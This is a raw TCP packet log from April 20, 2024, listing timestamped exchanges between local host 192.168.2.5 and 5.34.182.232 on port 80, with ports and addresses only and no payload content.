Apr 20, 2024 10:22:55.493669033 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493705988 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493742943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493742943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493782997 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493802071 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493819952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493855953 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493875027 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.493892908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493977070 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.493994951 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494014978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494055986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494070053 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494093895 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494132042 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494132042 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494155884 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494170904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494190931 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494209051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494229078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494245052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494267941 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494285107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494302988 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494322062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494340897 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494359016 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494379044 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494396925 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494411945 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494434118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494458914 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494471073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494481087 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494508028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494529963 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494544983 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494560003 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494582891 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494596958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494621038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494643927 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494657993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494667053 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494694948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494729996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494736910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494736910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494766951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494780064 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494851112 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494867086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494889021 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494911909 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494925976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494932890 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494961977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.494982004 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.494998932 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.495018005 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.495058060 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.734963894 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735012054 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735052109 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735059023 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735090017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735124111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735124111 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735127926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735152006 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735167027 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735192060 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735208035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735229015 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735244989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735265970 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735282898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735306025 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735321999 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735335112 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735359907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735395908 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735399961 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735418081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735439062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735447884 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735476971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735505104 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735513926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735537052 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735553026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735567093 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735590935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735611916 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735629082 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735654116 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735666990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735687017 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735704899 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735717058 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735742092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735761881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735780954 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735800982 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735820055 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735841990 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735857964 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735878944 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735893965 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735917091 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735933065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.735948086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.735970974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736004114 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736007929 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736037970 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736049891 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736058950 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736088037 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736116886 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736138105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736145020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736181974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736200094 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736218929 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736239910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736257076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736274958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736294031 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736313105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736330986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736350060 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736366987 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736385107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736403942 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736428022 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736439943 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736453056 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736478090 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736512899 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736521006 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736534119 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736557961 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736569881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736596107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736614943 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736633062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736654997 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736670971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736690044 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736707926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736720085 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736745119 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736764908 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736780882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736799002 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736876011 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736895084 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736915112 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736934900 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736953020 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.736969948 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.736990929 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737010956 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737027884 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737044096 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737068892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737088919 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737107038 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737127066 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737143993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737164974 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737180948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737195015 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737219095 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737234116 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737261057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737279892 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737298012 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737313032 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737334967 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737354040 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737371922 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737386942 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737409115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737430096 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737449884 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737471104 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737488031 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737509012 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737525940 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737544060 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737564087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737580061 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737601995 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737632990 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737639904 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737653017 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737677097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737704039 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737714052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737739086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737751961 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737773895 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737791061 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737814903 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737827063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737854004 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737864971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737875938 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737901926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737917900 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737940073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.737957954 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.737977028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738002062 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738013029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738034964 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738049984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738070965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738086939 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738106966 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738125086 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738142967 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738162041 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738185883 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738198996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738219976 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738235950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738250017 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738274097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738301039 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738313913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738327026 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738352060 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738365889 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738389015 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738409996 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738425970 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738446951 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738464117 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738478899 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738502026 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738518953 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738538980 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738562107 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738574982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738600016 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738615990 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738641024 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738653898 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738667965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738691092 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738708973 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738729000 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738746881 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738765001 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738775969 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738804102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738825083 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738841057 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738877058 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738883018 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738883018 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738913059 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738940954 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738950014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.738964081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.738990068 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739010096 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739027023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739048958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739063978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739084959 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739100933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739120960 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739137888 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739154100 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739175081 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739192963 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739212036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739232063 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739248991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739264965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739286900 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739304066 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739324093 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739348888 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739361048 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739386082 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739398956 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739437103 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739440918 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739459038 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739480972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739496946 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739517927 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739538908 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739556074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739576101 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739598989 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739613056 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739640951 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739658117 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739681005 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739698887 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739717960 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739751101 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739754915 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739772081 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739793062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739804029 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739830017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739849091 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739867926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739878893 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739903927 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739923954 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739942074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739962101 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.739978075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.739995956 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740015984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740025043 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740052938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740070105 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740089893 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740122080 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:55.740144968 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:55.740150928 CEST	49708	80	192.168.2.5	5.34.182.232
